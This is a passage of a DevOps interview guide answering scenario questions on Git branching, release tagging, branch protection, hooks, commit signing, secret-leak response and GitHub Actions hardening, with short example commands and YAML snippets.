Developers leave feature branches open for months. What policy would you set?

Beginner

Situation read โ†’ Old branches mean painful merges and hidden work.

What I'd do โ†’

  1. Set a soft limit, for example "branches live under 3 days".
  2. Add a stale-branch report: git for-each-ref --sort=committerdate refs/remotes/origin --format='%(committerdate:short) %(refname:short)'.
  3. Auto-delete merged branches and mark inactive PRs stale with a bot.
  4. Talk to owners of branches that will take long and plan feature flags.

Why โ†’ Merge cost grows with divergence, nonlinearly.

Interview tip โ†’ Metrics such as "age of oldest open PR" make the problem visible.

Copy link
Q113

QA signs off on a build, and production must run exactly that code. How does Git support this?

Intermediate

Situation read โ†’ The risk is rebuilding from a branch and getting different results.

What I'd do โ†’

  1. Build once per commit; name artifacts by commit SHA (for example the image tag app:3f9a1c2).
  2. Deploy that exact tag to QA, then production; never rebuild.
  3. Tag the release on the same SHA: git tag -a v2.5.0 3f9a1c2.
  4. Record the SHA in deployment metadata so git log explains what runs where.

Why โ†’ Branch names move, SHAs do not.

Interview tip โ†’ Pair this with pinned dependencies and lockfiles for true reproducibility.

Copy link
Q114

A deployment broke production. Do you revert in Git or roll back the deployment first?

Beginner

Situation read โ†’ Speed of recovery comes first; code history clean-up second.

What I'd do โ†’

  1. Roll back the deployment to the previous known-good artifact (redeploy the earlier tag).
  2. Stop the bleeding, then open an incident record.
  3. Revert the bad commit on main: git revert <sha>, so the next deploy does not reintroduce it.
  4. Fix properly with a test, and re-release.

Why โ†’ Rolling back an artifact takes minutes. Code fixes take longer and need review.

Interview tip โ†’ If main stays broken after a rollback, the next deploy brings the bug back.

Copy link
Q115

A team of four builds a web app deployed from main. Which simple workflow do you use?

Beginner

Situation read โ†’ A small team needs minimal ceremony.

What I'd do โ†’

  1. GitHub Flow: branch from main, commit, open a PR.
  2. CI runs, one teammate reviews, squash-merge.
  3. Merging to main triggers deployment.
  4. Protect main (PR required, checks required, no force-push).

Why โ†’ Few rules, always a deployable main.

Interview tip โ†’ It is trunk-based development with PRs as the gate.

Copy link
Q116

A six-month platform migration must touch hundreds of files while the product keeps shipping.

Advanced

Situation read โ†’ A six-month branch would be unmergeable.

What I'd do โ†’

  1. Prefer incremental migration: strangler pattern, adapters, and flags merged into main continuously.
  2. If a long-lived integration branch is unavoidable, merge main into it daily (automated), with rerere enabled.
  3. Have CI run the integration branch against the full suite every night.
  4. Land the final switch as a small PR.

Why โ†’ Divergence is the enemy. Daily sync keeps the final merge boring.

Interview tip โ†’ "Make the change easy, then make the easy change": branch by abstraction.

Copy link
Q117

How do you enforce a branch naming convention like feature/ABC-123-short-name?

Beginner

Situation read โ†’ Convention only works when it is checked automatically.

What I'd do โ†’

  1. Document the pattern in CONTRIBUTING.md.
  2. Add a push ruleset or branch-name rule (rulesets support "branch name pattern" restrictions) to reject non-matching names.
  3. Or a CI check on the PR head ref.
  4. Link tickets automatically using the ID from the branch name.

Why โ†’ Consistent names help tooling, such as Jira linking and release notes.

Interview tip โ†’ Do not over-engineer; PR titles matter more than branch names.

Copy link
Q118

You want changelogs and version bumps to come from commit history.

Intermediate

Situation read โ†’ Structured messages allow tooling to derive the release type.

What I'd do โ†’

  1. Adopt Conventional Commits: feat:, fix:, feat!: or a BREAKING CHANGE: footer.
  2. Validate in CI with commitlint, or only validate PR titles when squash-merging.
  3. Use release-please or semantic-release to compute the next version, update CHANGELOG.md and tag.
  4. Review the generated release PR before it ships.

Why โ†’ fix maps to patch, feat to minor, breaking to major, so versioning is rule-based.

Interview tip โ†’ With squash merge, the PR title is the commit message, so validate that.

Copy link
Q119

A release is two days away and the team wants a code freeze. How do you enforce it technically?

Intermediate

Situation read โ†’ Social agreements get violated under pressure.

What I'd do โ†’

  1. Branch release/x.y and apply stricter protection: two approvals, release-manager-only merges.
  2. Leave main open for next-cycle work.
  3. For a full freeze of main, temporarily tighten the ruleset (restrict who can push or merge) and lift it afterward.
  4. Document the exception process for critical fixes.

Why โ†’ A release branch avoids freezing the whole team.

Interview tip โ†’ Prefer "release branch freeze" to "everyone stops".

Copy link
Q120

You forgot to tag last week's release and need to tag it now.

Beginner

Situation read โ†’ A tag can be created on any past commit.

What I'd do โ†’

  1. Find the deployed commit: git log --oneline --since="10 days ago" or the SHA in your deploy record.
  2. git tag -a v2.4.0 <sha> -m "Release 2.4.0".
  3. git push origin v2.4.0.
  4. Back-fill the GitHub release if needed.

Why โ†’ Tags point at commits, not at "now".

Interview tip โ†’ Always confirm the SHA against what was actually deployed.

Copy link
Q121

Product asks "what exactly changed between v2.3.0 and v2.4.0?"

Beginner

Situation read โ†’ You need a commit-level and a file-level answer.

What I'd do โ†’

  1. git log --oneline --no-merges v2.3.0..v2.4.0.
  2. By author or area: git shortlog -sn v2.3.0..v2.4.0, git log ... -- services/api.
  3. Files: git diff --stat v2.3.0 v2.4.0.
  4. On GitHub: compare view at /compare/v2.3.0...v2.4.0.

Why โ†’ Two dots in git log means "reachable from the second but not the first".

Interview tip โ†’ Squash merges make PR titles the best change list.

Copy link
Q122

Hotfixes on release branches keep diverging from main, and bugs reappear in the next release.

Advanced

Situation read โ†’ Fixes were applied to one line but never forwarded.

What I'd do โ†’

  1. Change policy: fix on main first, then backport.
  2. Where a release-only fix is needed, require a linked forward-port PR before the release closes.
  3. Detect drift: git cherry -v main release/2.5 and git log --cherry-pick --right-only main...release/2.5.
  4. Add a CI job that fails when the release branch has fixes missing from main.

Why โ†’ Divergence is invisible until the next release; automated checks surface it early.

Interview tip โ†’ Patch-id comparison is how you spot "same fix, different SHA".

Copy link
Q123

During an incident, a new feature breaks checkout. Do you revert code or turn off a flag?

Advanced

Situation read โ†’ Both work, but they have different speed and risk.

What I'd do โ†’

  1. If the feature is behind a flag, flip it off first. That takes seconds and needs no deploy.
  2. If not, revert the commit (git revert), run a fast pipeline, and deploy the fix, or redeploy the previous artifact.
  3. After recovery, write a postmortem: why wasn't it flagged, why did tests miss it.
  4. Reintroduce the change with a test and a flag.

Why โ†’ Mean time to recovery matters more than elegant fixes during an incident.

Interview tip โ†’ "Roll back first, debug later" is a mark of operational maturity.

Copy link
Q124

GitOps: should app code and Kubernetes manifests live in the same repo or separate ones?

Advanced

Situation read โ†’ Different change rates and audiences argue for separation, though small teams may prefer one repo.

What I'd do โ†’

  1. Separate config repo for environment state, so deploy history is a clean Git log and access can be tighter.
  2. CI in the app repo builds the image, then opens a PR (or commits) in the config repo to bump the image tag.
  3. Argo CD or Flux reconciles from the config repo's main.
  4. Rollback is git revert of the bump commit.

Why โ†’ Image bumps do not pollute app history, and deploy approval is just a PR review.

Interview tip โ†’ Say the trade-off honestly: two repos mean extra plumbing.

Copy link
Q125

Your 40-person organisation uses GitFlow and wants to move to trunk-based development. How do you migrate?

Advanced

Situation read โ†’ This is a cultural and tooling change, not a Git command.

What I'd do โ†’

  1. Prerequisites first: fast reliable CI, feature flags, and good test coverage.
  2. Agree the target: PRs under a day, main always deployable.
  3. Collapse develop into main: merge it, then stop using it.
  4. Pilot with one team, measure lead time and change failure rate, then expand.
  5. Keep release branches only for products with real multi-version support.

Why โ†’ Moving the branching model without CI and flags just moves the pain.

Interview tip โ†’ Frame it with DORA metrics so the benefit is measurable.

Copy link

Protection, Hooks and Policy

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q126

You are asked to protect main. Which rules do you turn on?

Beginner

Situation read โ†’ The aim is that nothing reaches main without review and passing checks.

What I'd do โ†’

  1. Require a pull request with at least one approval, and dismiss stale approvals on new pushes.
  2. Require status checks (build, test, lint) and require branches to be up to date.
  3. Block force pushes and deletion.
  4. Require linear history or restrict merge types, as the team prefers.
  5. Apply rules to administrators too.

Why โ†’ Rules that admins can skip protect against nothing during a rushed Friday deploy.

Interview tip โ†’ Mention CODEOWNERS for sensitive paths.

Copy link
Q127

Classic branch protection or repository rulesets: which do you use?

Intermediate

Situation read โ†’ Both enforce rules, but rulesets are the newer, more flexible system.

What I'd do โ†’

  1. Prefer rulesets: they target branches and tags by pattern, can be layered, and support org-wide rules.
  2. Use "evaluate" mode to test a ruleset before enforcing it.
  3. Use bypass lists for specific roles, apps or teams, with an audit trail.
  4. Migrate gradually; where both apply, the most restrictive result wins.

Why โ†’ Rulesets avoid copy-pasting protection per repo and give visibility into who can bypass.

Interview tip โ†’ Say "rulesets are layered and additive".

Copy link
Q128

A required status check never reports and the PR is stuck as "Expected โ€” Waiting for status".

Intermediate

Situation read โ†’ The workflow did not run, was skipped by path filters, or the check name changed.

What I'd do โ†’

  1. Check the workflow on: triggers and paths: filters. A skipped workflow leaves the check pending forever.
  2. Confirm the required check name matches the job name exactly (matrix jobs add suffixes).
  3. Add a final always-run "gate" job that depends on the others and require only that.
yaml
gate:
  if: always()
  needs: [build, test]
  runs-on: ubuntu-latest
  steps:
    - run: test "${{ contains(needs.*.result, 'failure') }}" = "false"

Why โ†’ One stable required check decouples protection from job renames and path filtering.

Interview tip โ†’ Know that a job skipped because of its own if: reports as success, but a workflow that never triggered reports nothing.

Copy link
Q129

Production is down and the fix needs to merge now, but approvals are required.

Intermediate

Situation read โ†’ You need an emergency path that is fast but auditable.

What I'd do โ†’

  1. Pre-define a break-glass process: a small group on the ruleset bypass list ("pull requests only" bypass preferred over full bypass).
  2. Open the PR anyway, get a verbal or chat approval from the incident commander, then merge with bypass.
  3. Record the reason in the PR and the incident ticket.
  4. Review every bypass afterward in the audit log.

Why โ†’ Bypass should be rare, visible and reviewed.

Interview tip โ†’ Say you would rather make the normal path faster than live on bypasses.

Copy link
Q130

You want to stop developers from committing obvious mistakes like debug prints, trailing whitespace or secrets.

Beginner

Situation read โ†’ Catch issues before they hit the remote.

What I'd do โ†’

  1. Add the pre-commit framework with a .pre-commit-config.yaml (linters, formatters, detect-secrets or gitleaks).
  2. Install the hooks: pre-commit install.
  3. Run the same checks in CI as a backstop.

Why โ†’ Local hooks give fast feedback, and CI catches anything that skipped them.

Interview tip โ†’ Hooks are advisory; developers can bypass with --no-verify.

Copy link
Q131

Hooks in .git/hooks are not shared with the team. How do you distribute them?

Intermediate

Situation read โ†’ .git is never part of the repository.

What I'd do โ†’

  1. Commit hooks to a tracked folder such as .githooks/.
  2. Point Git at it: git config core.hooksPath .githooks.
  3. Automate that in a bootstrap script or make setup.
  4. Or use pre-commit, Husky or lefthook, which install themselves.

Why โ†’ core.hooksPath is local config, so each clone must run it once.

Interview tip โ†’ Because hooks are local, always duplicate critical checks in CI.

Copy link
Q132

A developer bypasses your hook with git commit --no-verify. How do you enforce the rule anyway?

Intermediate

Situation read โ†’ Client-side hooks can never be trusted for enforcement.

What I'd do โ†’

  1. Move the rule to CI and make that check required.
  2. Use server-side controls: rulesets (file path or size restrictions, commit message patterns) on GitHub.
  3. Keep hooks as fast feedback only.
  4. For self-hosted Git, a pre-receive hook rejects bad pushes server-side.

Why โ†’ The server is the only place you control.

Interview tip โ†’ This distinction (client versus server enforcement) is a favourite interview question.

Copy link
Q133

Every commit message must reference a ticket such as ABC-123.

Intermediate

Situation read โ†’ Traceability is required for audits.

What I'd do โ†’

  1. Local commit-msg hook:
bash
#!/usr/bin/env bash
grep -qE '^(ABC|PLAT)-[0-9]+' "$1" || {
  echo "Commit message must start with a ticket ID, e.g. ABC-123" >&2
  exit 1
}
  1. With squash merges, validate the PR title in CI instead, since that becomes the commit message.
  2. Optionally add prepare-commit-msg to prefill the ticket from the branch name.

Why โ†’ The check on PR title is enforceable, whereas the local hook is a convenience.

Interview tip โ†’ Say which of the two is authoritative.

Copy link
Q134

You want tests to run before every push.

Beginner

Situation read โ†’ Catching failures before CI saves round trips.

What I'd do โ†’

  1. Create .githooks/pre-push, make it executable (chmod +x).
  2. Run a fast subset: lint plus unit tests, not the full suite.
  3. Exit non-zero to block the push.
  4. Allow skipping when needed with git push --no-verify, knowing CI still checks.

Why โ†’ If the hook takes minutes, people bypass it. Keep it under ten or so seconds.

Interview tip โ†’ Fast hooks get used; slow hooks get disabled.

Copy link
Q135

Security wants to stop anyone pushing .pem, .exe or files over 50 MB, with no client trust.

Advanced

Situation read โ†’ The restriction must be applied at push time, server-side.

What I'd do โ†’

  1. Use push rulesets (available for repositories in organisations on paid plans) to restrict file extensions, file paths and maximum file size.
  2. Apply them org-wide so new repos inherit the policy.
  3. Pair with secret scanning push protection for credentials inside files.
  4. Self-hosted alternative: a pre-receive hook that inspects git rev-list of new objects.

Why โ†’ GitHub rejects the push before the objects land, so nothing sensitive reaches the remote.

Interview tip โ†’ Know that GitHub's hard limits are 100 MB per file and a warning at 50 MB.

Copy link
Q136

Auditors want every commit on main to be verified as signed.

Intermediate

Situation read โ†’ Enforcement and developer setup both matter.

What I'd do โ†’

  1. Enable "Require signed commits" in the ruleset for main.
  2. Give developers a signing setup, for example SSH signing:
bash
git config --global gpg.format ssh
git config --global user.signingkey ~/.ssh/id_ed25519.pub
git config --global commit.gpgsign true
  1. Upload the same key to GitHub as a "Signing key".
  2. With squash or web merges, GitHub signs the resulting commit itself.

Why โ†’ Branch rules reject unsigned pushes, so signing is not optional.

Interview tip โ†’ Mention that rebase-merge breaks signatures because the commits are re-created.

Copy link
Q137

The team wants a strictly linear history on main.

Beginner

Situation read โ†’ No merge commits at all.

What I'd do โ†’

  1. Enable "Require linear history" in the ruleset.
  2. In repo settings, allow only squash merge and/or rebase merge; disable merge commits.
  3. Developers rebase their branches before merging.

Why โ†’ Linear history is easier to bisect, revert and read.

Interview tip โ†’ Rebase-merge keeps each commit; squash-merge keeps one. Be ready to justify your pick.

Copy link
Q138

An approved PR gets a new commit just before merge. How do you prevent unreviewed code from slipping in?

Intermediate

Situation read โ†’ An approval should apply to the code that was reviewed.

What I'd do โ†’

  1. Enable "Dismiss stale pull request approvals when new commits are pushed".
  2. Enable "Require approval of the most recent reviewable push" so the pusher cannot self-approve.
  3. Require review from Code Owners for sensitive paths.

Why โ†’ Otherwise a malicious or careless push after approval merges unchecked.

Interview tip โ†’ This is a common supply-chain control question.

Copy link
Q139

You are the only maintainer, but the rule requires one approval. How do you work?

Intermediate

Situation read โ†’ A strict rule locks out a team of one.

What I'd do โ†’

  1. Keep required checks and linear history; they still protect you.
  2. Set required approvals to 0 for a personal repo, or add a second trusted reviewer.
  3. If you need review for compliance, add an admin bypass restricted to PRs only.
  4. Use a bot or self-review checklist in the PR template.

Why โ†’ Control should match risk. A rule nobody can meet becomes a bypass habit.

Interview tip โ†’ GitHub does not let authors approve their own PRs.

Copy link
Q140

You must stop people from deleting or moving release tags.

Intermediate

Situation read โ†’ Tags are release identity and must be immutable.

What I'd do โ†’

  1. Create a ruleset targeting tags with pattern v*.
  2. Enable "Restrict deletions" and "Restrict updates" ("Block force pushes").
  3. Allow creation only for release managers or the release bot.
  4. Verify by trying git push --delete origin v1.0.0 from a test account.

Why โ†’ Anyone who can move a tag can change what "v1.0.0" means in production.

Interview tip โ†’ Legacy tag protection rules were replaced by rulesets.

Copy link
Q141

Large binaries keep landing in the repo and clones are getting slow. What controls would you add?

Advanced

Situation read โ†’ Prevention is cheaper than history rewriting.

What I'd do โ†’

  1. Push ruleset with a maximum file size (for example 10 MB) and blocked extensions.
  2. Route legitimate large assets to Git LFS via .gitattributes.
  3. A CI check on the diff: git diff --stat or a script flagging files above the threshold.
  4. Monitor repository size regularly: git count-objects -vH, and git sizer for deeper analysis.

Why โ†’ Once a blob is in history, only a rewrite removes it and everyone must re-clone.

Interview tip โ†’ Mention git-sizer as the tool for finding why a repo is slow.

Copy link
Q142

Release branches (release/*) need stricter rules than feature branches.

Intermediate

Situation read โ†’ One ruleset per branch is tedious; patterns solve it.

What I'd do โ†’

  1. Ruleset targeting refs/heads/release/*.
  2. Require 2 approvals, code owner review, and the full test workflow.
  3. Restrict who can push or merge to the release managers team.
  4. Block deletion and force pushes.

Why โ†’ Patterns apply automatically to every new release branch, so nobody forgets to protect it.

Interview tip โ†’ Test with "evaluate" mode before enforcing.

Copy link
Q143

A regulator asks who changed branch protection settings and when.

Advanced

Situation read โ†’ You need an audit trail outside Git.

What I'd do โ†’

  1. Query the organisation audit log (UI, or gh api /orgs/ORG/audit-log on Enterprise Cloud) filtering for ruleset and protection events.
  2. Stream audit logs to your SIEM for long-term retention.
  3. Store protection config as code (Terraform github_repository_ruleset) so changes are PR-reviewed.
  4. Alert on bypass events and ruleset edits.

Why โ†’ Config as code gives history, review and rollback for the controls themselves.

Interview tip โ†’ Say "protect the protections" โ€” admins who can change rules can undo any control.

Copy link
Q144

How do you enforce Conventional Commit format without a local hook?

Beginner

Situation read โ†’ Enforcement must work for everyone and survive squash merging.

What I'd do โ†’

  1. Add a PR title check in CI, for example amannn/action-semantic-pull-request.
  2. Make it a required check.
  3. Configure the repo to use "Pull request title" for squash commit messages.
  4. Optionally run commitlint for repos that use merge or rebase.

Why โ†’ The squash commit message is what lands in history, and it comes from the PR title.

Interview tip โ†’ Validate where the message is born, not where it is typed.

Copy link
Q145

A security incident requires you to temporarily stop all merges to main.

Intermediate

Situation read โ†’ You need a fast, reversible freeze.

What I'd do โ†’

  1. Prepare a "freeze" ruleset in advance with an empty bypass list, set to Disabled.
  2. During the incident, switch it to Active; it blocks all merges and pushes.
  3. Alternatively, restrict the merge queue or temporarily mark a required check as failing via a variable.
  4. Reverse it afterward and note it in the incident timeline.

Why โ†’ A rehearsed switch beats improvising under pressure.

Interview tip โ†’ Archiving the repo is too blunt and also blocks issues.

Copy link
Q146

Production deploys should require a manual approval and only from reviewed code.

Advanced

Situation read โ†’ Branch protection controls code; environment protection controls deployment.

What I'd do โ†’

  1. Create a GitHub Environment production with required reviewers and a deployment-branch rule limited to main (and v* tags).
  2. Reference it in the workflow: environment: production; the job pauses until approved.
  3. Scope the deploy secrets to that environment only.
  4. Enable "Prevent self-review" so the person who triggered it cannot approve.

Why โ†’ Secrets stored in an environment are released only after rules pass, so a rogue branch cannot reach them.

Interview tip โ†’ Combine OIDC federation with environments so there are no long-lived cloud keys.

Copy link
Q147

Dependabot opens 30 PRs a week. How do you merge them safely and quickly?

Intermediate

Situation read โ†’ Manual review of every patch bump does not scale.

What I'd do โ†’

  1. Group updates in dependabot.yml (groups:) and set a weekly schedule.
  2. Enable auto-merge for patch and minor updates when all required checks pass:
bash
gh pr merge --auto --squash "$PR_URL"
  1. Keep major updates for human review.
  2. Make sure tests are good, because auto-merge is only as safe as CI.

Why โ†’ Auto-merge removes toil, while branch protection keeps the safety net.

Interview tip โ†’ Restrict workflow permissions for the Dependabot actor.

Copy link
Q148

Compliance (SOC 2) requires two approvals, no self-merge and traceable changes.

Advanced

Situation read โ†’ You need technical controls that map to the written policy.

What I'd do โ†’

  1. Ruleset: 2 required approvals, dismiss stale approvals, require last-push approval, code owners for critical paths.
  2. Required checks and signed commits; no bypass except a break-glass team.
  3. Manage rules as code and export evidence (ruleset JSON, audit-log events, PR history).
  4. Review bypass events monthly.

Why โ†’ Auditors want evidence that the control is enforced, not just documented.

Interview tip โ†’ Say that the PR is the unit of change evidence: approvals, checks and the merge are all recorded.

Copy link
Q149

You want a consistent set of formatters and linters on every developer machine.

Beginner

Situation read โ†’ A shared hook configuration beats wiki instructions.

What I'd do โ†’

  1. Commit .pre-commit-config.yaml with pinned versions:
yaml
repos:
  - repo: https://github.com/pre-commit/pre-commit-hooks
    rev: v5.0.0
    hooks:
      - id: end-of-file-fixer
      - id: check-added-large-files
  1. pre-commit install once per clone; pre-commit run --all-files to check everything.
  2. Run pre-commit in CI as well, and update versions with pre-commit autoupdate.

Why โ†’ Pinned revs give identical results everywhere.

Interview tip โ†’ Same config locally and in CI means no "passes locally, fails in CI".

Copy link
Q150

A release bot must push version bump commits to protected main, but humans must not.

Advanced

Situation read โ†’ The bot needs a narrow exception, not a weakening of the rule for everyone.

What I'd do โ†’

  1. Use a GitHub App (not a personal token) for the bot, with minimal permissions.
  2. Add only that app to the ruleset bypass list.
  3. Prefer having the bot open a PR with auto-merge, which needs no bypass at all.
  4. Store the app credentials as environment secrets and rotate keys.

Why โ†’ Apps have scoped permissions and appear clearly in the audit log, unlike a shared human PAT.

Interview tip โ†’ The PR-based approach avoids bypass entirely and is the safer pattern.

Copy link

Secrets, Signing and Security

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q151

A developer pushed an AWS access key to a public repo 10 minutes ago. What is your first move?

Beginner

Situation read โ†’ Bots scan public pushes within seconds. Assume the key is already compromised.

What I'd do โ†’

  1. Revoke or deactivate the key in IAM immediately; create a replacement and deploy it.
  2. Review CloudTrail for use of the key since the push; check for new users, instances and unusual regions.
  3. Only then clean the repo (remove from history, see the next question).
  4. Write up the incident and add push protection and a pre-commit scanner.

Why โ†’ Deleting the commit does not undo exposure. Rotation does.

Interview tip โ†’ "Rotate first, clean second" is the sentence interviewers listen for.

Copy link
Q152

After rotating the leaked key, you must purge it from repository history. How?

Advanced

Situation read โ†’ The key is dead, but history still shows it, and scanners and forks keep flagging it.

What I'd do โ†’

  1. Fresh mirror clone: git clone --mirror [email protected]:org/app.git.
  2. Replace the string everywhere:
bash
echo 'AKIAXXXXXXXXXXXXXXXX==>REMOVED' > replacements.txt
git filter-repo --replace-text replacements.txt
git push --force --mirror
  1. Ask all developers to re-clone (not pull), and close or recreate open PRs.
  2. Contact GitHub Support to purge cached views and refs/pull/* references if needed; check forks.

Why โ†’ Rewriting changes all downstream SHAs, so coordination matters. Old clones can re-introduce the secret on push.

Interview tip โ†’ BFG is an alternative, but git filter-repo is the tool Git itself recommends.

Copy link
Q153

A push is rejected: "GH013: Repository rule violations found ... Push cannot contain secrets". What do you do?

Intermediate

Situation read โ†’ GitHub push protection detected a known secret pattern in your commits.

What I'd do โ†’

  1. Read the message; it names the file and commit.
  2. Remove the secret from the commit, not just the latest file state: amend or interactive rebase, so no commit in the push contains it.
  3. Load the value from an environment variable or secret manager instead.
  4. If it is a verified false positive or test token, use the bypass link and choose a reason; that is logged.

Why โ†’ Blocking before the push means the secret never reaches the remote, which beats cleaning afterwards.

Interview tip โ†’ Treat a real hit as a leak anyway if the secret was ever valid: rotate it.

Copy link
Q154

Secret scanning alerts have piled up, and many look like false positives or old test credentials.

Intermediate

Situation read โ†’ Alert fatigue will cause real leaks to be ignored.

What I'd do โ†’

  1. Triage by validity: GitHub shows whether a provider-pattern secret is still active.
  2. Rotate and close the valid ones as "revoked".
  3. Close the rest as "false positive" or "used in tests" with a comment.
  4. Exclude fixtures and paths via secret_scanning.yml (paths-ignore).
  5. Track the time to remediation as a metric.

Why โ†’ Clean queues make real alerts stand out.

Interview tip โ†’ Validity checks let you prioritise active credentials first.

Copy link
Q155

You must set up signed commits on your laptop. Which method do you pick?

Beginner

Situation read โ†’ GPG works but is heavier; SSH signing is simpler if you already use SSH.

What I'd do โ†’

  1. git config --global gpg.format ssh.
  2. git config --global user.signingkey ~/.ssh/id_ed25519.pub.
  3. git config --global commit.gpgsign true and tag.gpgsign true.
  4. Add the public key to GitHub as a Signing key, separate from the authentication key.
  5. Test: git commit --allow-empty -m "test" && git log --show-signature -1.

Why โ†’ SSH signing needs no extra tooling and works with hardware keys.

Interview tip โ†’ Local verification needs gpg.ssh.allowedSignersFile; GitHub verifies server-side.

Copy link
Q156

Your GPG signing key expires next week. What is the correct way to handle it?

Intermediate

Situation read โ†’ Expired keys lead to "Unverified" for new commits, though old commits stay verified.

What I'd do โ†’

  1. Extend expiry rather than creating a new key: gpg --edit-key <KEYID>, then expire, then save.
  2. Export and upload the updated public key to GitHub.
  3. If the key is compromised, revoke it and create a new one instead.
  4. Document key rotation steps in the team wiki.

Why โ†’ Extending keeps the same identity and fingerprint, so downstream trust is untouched.

Interview tip โ†’ Know the difference between expiry (routine) and revocation (compromise).

Copy link
Q157

A release bot pushes commits, and branch rules require signed commits. How do you handle it?

Intermediate

Situation read โ†’ Bots have no personal key, so their commits show as unverified.

What I'd do โ†’

  1. Use the GitHub API (commits through a GitHub App token or GITHUB_TOKEN) so GitHub signs them with its own key and marks them Verified.
  2. Or give the bot a dedicated signing key stored as a secret, uploaded to the bot account.
  3. For file edits, use the contents API or GraphQL createCommitOnBranch, which produces verified commits.

Why โ†’ Commits created through the API by an app are signed by GitHub on its behalf.

Interview tip โ†’ Plain git push from a runner cannot produce verified commits without a key.

Copy link
Q158

You adopt a secret scanner on a ten-year-old repo and it reports 400 historical findings.

Intermediate

Situation read โ†’ You cannot block all work for historical issues, but you must stop new ones.

What I'd do โ†’

  1. Run a full-history scan once; rotate anything still valid.
  2. Create a baseline so only new findings fail: gitleaks detect --baseline-path gitleaks-baseline.json.
  3. Enable the scanner in pre-commit and as a required CI check.
  4. Burn down the baseline over time.

Why โ†’ The baseline separates "known history" from "new risk", which keeps the gate usable.

Interview tip โ†’ Rotation matters more than whether history is rewritten.

Copy link
Q159

Your GitHub Actions workflows deploy to AWS using stored access keys. How do you improve that?

Advanced

Situation read โ†’ Long-lived keys in secrets can leak and rarely get rotated.

What I'd do โ†’

  1. Create an IAM OIDC identity provider for token.actions.githubusercontent.com.
  2. Create a role whose trust policy restricts sub to repo:ORG/REPO:environment:production (or a branch/tag).
  3. Use short-lived credentials in the workflow:
yaml
permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
      aws-region: ap-south-1
  1. Delete the old access keys.

Why โ†’ Credentials last minutes and are bound to a specific repo and ref.

Interview tip โ†’ A loose sub condition (such as repo:ORG/*) is the classic misconfiguration.

Copy link
Q160

Your workflows use many third-party actions referenced by tag such as @v3. Is that a risk?

Advanced

Situation read โ†’ Tags can be moved, so a compromised action can change what you run, as happened with tj-actions/changed-files in 2025.

What I'd do โ†’

  1. Pin to a full commit SHA with the version in a comment: uses: actions/checkout@<40-char-sha> # v4.2.2.
  2. Let Dependabot update pinned SHAs for github-actions.
  3. Restrict allowed actions at org level (GitHub-owned and verified creators, or an allow-list).
  4. Give workflows least-privilege permissions.

Why โ†’ A SHA is immutable, so the code you reviewed is the code that runs.

Interview tip โ†’ Mention both pinning and an allow-list.

Copy link
Q161

A workflow can write to the repo by default. How do you limit the damage of a compromised job?

Intermediate

Situation read โ†’ The GITHUB_TOKEN may have broad rights depending on repository settings.

What I'd do โ†’

  1. Set the default workflow permission to read-only in repo or org settings.
  2. Declare permissions per workflow or job:
yaml
permissions:
  contents: read
jobs:
  release:
    permissions:
      contents: write
      id-token: write
  1. Only the jobs that need write get it.

Why โ†’ A compromised step can then do only what its job was granted.

Interview tip โ†’ "Least privilege for the token" is a fast, high-value hardening.

Copy link
Q162

A developer's laptop was stolen, and it had a personal access token and SSH key for GitHub.

Advanced

Situation read โ†’ Assume an attacker can push, read private code and use the token.

What I'd do โ†’

  1. Revoke the PAT and remove the SSH and signing keys from the account (Settings โ†’ SSH and GPG keys).
  2. Check the account's security log and org audit log for activity since the theft.
  3. Rotate secrets the developer had access to; review recent pushes, new deploy keys, webhooks and Actions changes.
  4. Enforce SSO, short-lived credentials and hardware-backed keys going forward.

Why โ†’ Access is tied to credentials, not to the person's laptop.

Interview tip โ†’ Fine-grained PATs with expiry reduce the blast radius.

Copy link
Q163

A private repository was made public by mistake for two hours.

Intermediate

Situation read โ†’ Assume it was cloned and scanned.

What I'd do โ†’

  1. Make it private again immediately. Forks created while public stay public; delete them if possible through GitHub Support.
  2. Scan full history for secrets and rotate anything found.
  3. Check the audit log to see who changed visibility and why.
  4. Restrict the "change visibility" permission to org owners.

Why โ†’ Visibility changes are reversible, but exposure is not.

Interview tip โ†’ Org setting "Repository visibility change" prevents members from doing it.

Copy link
Q164

An engineer left the company today. What do you do on the Git side?

Beginner

Situation read โ†’ Access must be removed quickly and completely.

What I'd do โ†’

  1. Remove from the GitHub organisation, or disable via SSO or SCIM deprovisioning.
  2. Check for personal tokens, deploy keys and apps they authorised (org settings list these).
  3. Reassign their open PRs and CODEOWNERS entries to a team.
  4. Rotate shared secrets they knew.

Why โ†’ Central identity (SSO) makes this a single step instead of a checklist hunt.

Interview tip โ†’ Teams as code owners avoid orphaned review rules.

Copy link
Q165

Which credential type do you use for automation: classic PAT, fine-grained PAT, or a GitHub App?

Intermediate

Situation read โ†’ The credential should be scoped, short-lived and not tied to one person.

What I'd do โ†’

  1. Prefer a GitHub App: repo-scoped permissions, short-lived installation tokens, not tied to a user's seat.
  2. Use GITHUB_TOKEN when the work stays inside one repo.
  3. A fine-grained PAT is acceptable for personal scripts, with expiry and selected repos.
  4. Avoid classic PATs; they are broad and long-lived.

Why โ†’ Narrow scope and short life mean less damage if leaked.

Interview tip โ†’ "Not tied to a person" is the key org-level argument for Apps.

Copy link
Q166

A CI server needs read access to one private repo. Deploy key or machine user?

Intermediate

Situation read โ†’ Pick the narrowest credential that fits.

What I'd do โ†’

  1. Deploy key: an SSH key tied to a single repo, read-only by default. Best for one repo.
  2. Machine user: a separate account that can access many repos but consumes a seat and is a standing target.
  3. For many repos, prefer a GitHub App with an installation token.
  4. Rotate keys regularly and store them in the CI secret store.

Why โ†’ A deploy key cannot touch other repos, which limits damage.

Interview tip โ†’ A deploy key can only be used on one repository at a time.

Copy link
Q167

How do you catch vulnerable or malicious dependencies before they reach main?

Intermediate

Situation read โ†’ Dependency changes should be reviewed like code.

What I'd do โ†’

  1. Enable Dependabot alerts and security updates.
  2. Add the Dependency Review action on PRs to fail on new vulnerable packages or disallowed licenses.
  3. Commit lockfiles and install with npm ci or equivalent.
  4. Add CodeQL or another SAST scan as a required check.

Why โ†’ Catching it in the PR is much cheaper than after release.

Interview tip โ†’ Lockfiles plus review of dependency diffs address both bad versions and typosquats.

Copy link
Q168

A workflow echoes the PR title in a shell step, and a security reviewer flags it. Why?

Advanced

